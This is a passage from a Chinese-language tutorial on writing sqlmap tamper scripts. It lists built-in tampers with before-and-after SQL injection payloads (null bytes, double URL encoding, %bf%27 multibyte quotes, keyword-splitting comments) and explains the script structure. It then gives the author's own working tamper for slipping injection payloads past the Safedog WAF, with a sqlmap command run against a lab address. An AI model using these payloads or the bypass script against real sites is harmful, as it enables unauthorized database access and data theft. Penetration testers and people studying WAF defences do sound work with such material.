  • 使用脚本前:tamper("1 AND '1'='1")
  • 使用脚本后:1 AND %00%271%00%27=%00%271

appendnullbyte.py

  • 适用数据库:ALL
  • 作用:在有效载荷的结束位置加载null字节字符编码
  • 使用脚本前:tamper('1 AND 1=1')
  • 使用脚本后:1 AND 1=1%00

chardoubleencode.py

  • 适用数据库:ALL
  • 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
  • 使用脚本前:tamper('SELECT FIELD FROM%20TABLE')
  • 使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

unmagicquotes.py

  • 适用数据库:ALL
  • 作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
  • 使用脚本前:tamper("1' AND 1=1")
  • 使用脚本后:1%bf%27 AND 1=1--

randomcomments.py

  • 适用数据库:ALL
  • 作用:用注释符分割sql关键字
  • 使用脚本前:tamper('INSERT')
  • 使用脚本后:I/**/N/**/SERT

tamper脚本的编写

tamper的结构

escapequotes.py这个tamper文件为例

见名知义,该tamper是用来转义的,将单引号转换成\\',双引号转换成 \\"

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Slash escape single and double quotes (e.g. ' -> \')

>>> tamper('1" AND SLEEP(5)#')
'1\\\\" AND SLEEP(5)#'
"""

return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,一个最小的tamper脚本结构为__priority__变量dependencies函数tamper函数

_priority_变量

__priority__是当前脚本调用优先等级,该优先级用于使用多个tamper时的执行顺序选择

在自带的tamper脚本中一共有以下几种优先级,还可以自定义-100~100

1
2
3
4
5
6
7
__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST
dependencies函数

dependencies函数声明该脚本适用或不适用的范围,可以为空,例如:

1
2
3
4
5
6
import os
from lib.core.common import singleTimeWarnMessage

def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# singleTimeWarnMessage() 用于在控制台中打印出警告信息
tamper函数

tamper是主要的函数,接受的参数为payload**kwargs,返回值为替换后的payload

这里可以看出返回的是使用了python字符串替换函数replace,将字符串中的单引号和双引号进行转义

1
payload.replace("'", "\\'").replace('"', '\\"')

tamper函数不仅有payload参数,还有可变长参数**kwargs

1
def tamper(payload, **kwargs)

kwargs是一个字典,其结构为

1
{'headers': {}, 'delimiter': '&', 'hints': {}}

这里的kwargs['headers']很明显是我们的请求头,我们可以对其进行自定义。

编写一个简单的tamper脚本

在编写tamper脚本之前必须先清楚:需要绕过什么样的WAF,这类WAF的有什么绕过方法。

具体WAF的绕过方法我在之前的文章详细讲解过了,我们可以根据绕过WAF的方法来构造我们的tamper脚本。例如以下是我写的绕过安全狗的tamper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Replaces space character (' ') with custom annotator ('/*//--*/')

Notes:
* This tamper script works against safedog-waf.

>>> tamper('SELECT id FROM users')
'SELECT/*//--*/id/*//--*/FROM/*//--*/users'
"""

retVal = payload

if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*//--//*/"
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += "/*//--//*/"
continue

retVal += payload[i]

retVal=retVal.replace('DATABASE(','DATABASE/*//--//*/(')
retVal=retVal.replace('VERSION(','VERSION/*//--//*/(')
retVal=retVal.replace('CURRENT_USER(','CURRENT_USER/*//--//*/(')
retVal=retVal.replace('SYSTEM_USER(','SYSTEM_USER/*//--//*/(')
retVal=retVal.replace('SESSION_USER(','SESSION_USER/*//--//*/(')
retVal=retVal.replace('USER(','USER/*//--//*/(')
retVal=retVal.replace('LOAD_FILE(','LOAD_FILE/*//--//*/(')
retVal=retVal.replace('/AS','/--+/*%0aAS--+*/%0a')
retVal=retVal.replace('INFORMATION_SCHEMA','--+/*%0aINFORMATION_SCHEMA--+*/%0a')

return retVal

使用脚本绕过安全狗WAF:

1
sqlmap -u "http://192.168.123.42/sqli/Less-2/?id=1" --dbs --tamper "bypass-safedog.py" -v 3 --random-agent --technique U --batch --no-cast

虽然不知道是什么原因只跑出了当前数据库名

image-20211104155959079

但是我们把sqlmap生成的payload拿去做手工注入却可以爆出所有数据库名

image-20211104160159787

参考资料